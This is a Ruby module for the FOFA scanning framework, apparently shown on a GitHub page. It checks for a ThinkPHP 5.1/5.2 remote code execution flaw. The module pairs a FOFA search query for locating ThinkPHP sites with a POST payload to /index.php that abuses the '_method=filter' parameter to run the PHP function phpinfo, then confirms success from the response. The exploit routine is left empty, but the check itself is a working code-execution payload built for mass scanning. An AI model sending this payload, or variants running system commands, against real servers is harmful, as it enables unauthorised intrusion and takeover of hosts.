-
Notifications
You must be signed in to change notification settings - Fork 0
/
think5.1_2.rb
85 lines (79 loc) · 2.61 KB
/
think5.1_2.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
if __FILE__ == $0
require_relative '../fofascan'
end
require 'fofa_core'
class FofaExploits < Fofa::Exploit
def get_info
{
"Name": "thinkphp5.1-2 rce",
"Description": "thinkphp5.1-2 rce",
"Product": "ThinkPHP",
"Homepage": "http://www.thinkphp.cn",
"DisclosureDate": "2019-01-15",
"Author": "[email protected]",
"FofaQuery": "app=\"ThinkPHP\"",
"Level": "3",
"Impact": "<p>黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。</p>",
"Recommandation": "<p>严格过滤用户输入的数据,禁止执行系统命令。</p>",
"References": [
"http://115.198.56.141:19300/wordpress/index.php/2019/01/15/thinkphp5-1-5-2-rec/"
],
"HasExp": false,
"ExpParams": [],
"is0day": false,
"ExpTips": {
"type": "Tips",
"content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/index.php",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": "c=phpinfo&&f=1&&_method=filter&"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "PHP Version",
"bz": ""
}
]
},
"SetVariable": []
}
],
"fofacli_version": "3.10.2",
"fofascan_version": "0.1.16",
"Posttime": "2019-01-15 17:51:26",
"status": 2
}
end
def initialize(info = {})
super( info.merge(get_info()) )
end
def vulnerable(hostinfo)
excute_scansteps(hostinfo) if @info['ScanSteps']
end
def exploit(hostinfo)
end
end
if __FILE__ == $0
do_my_scan($0, ARGV)
end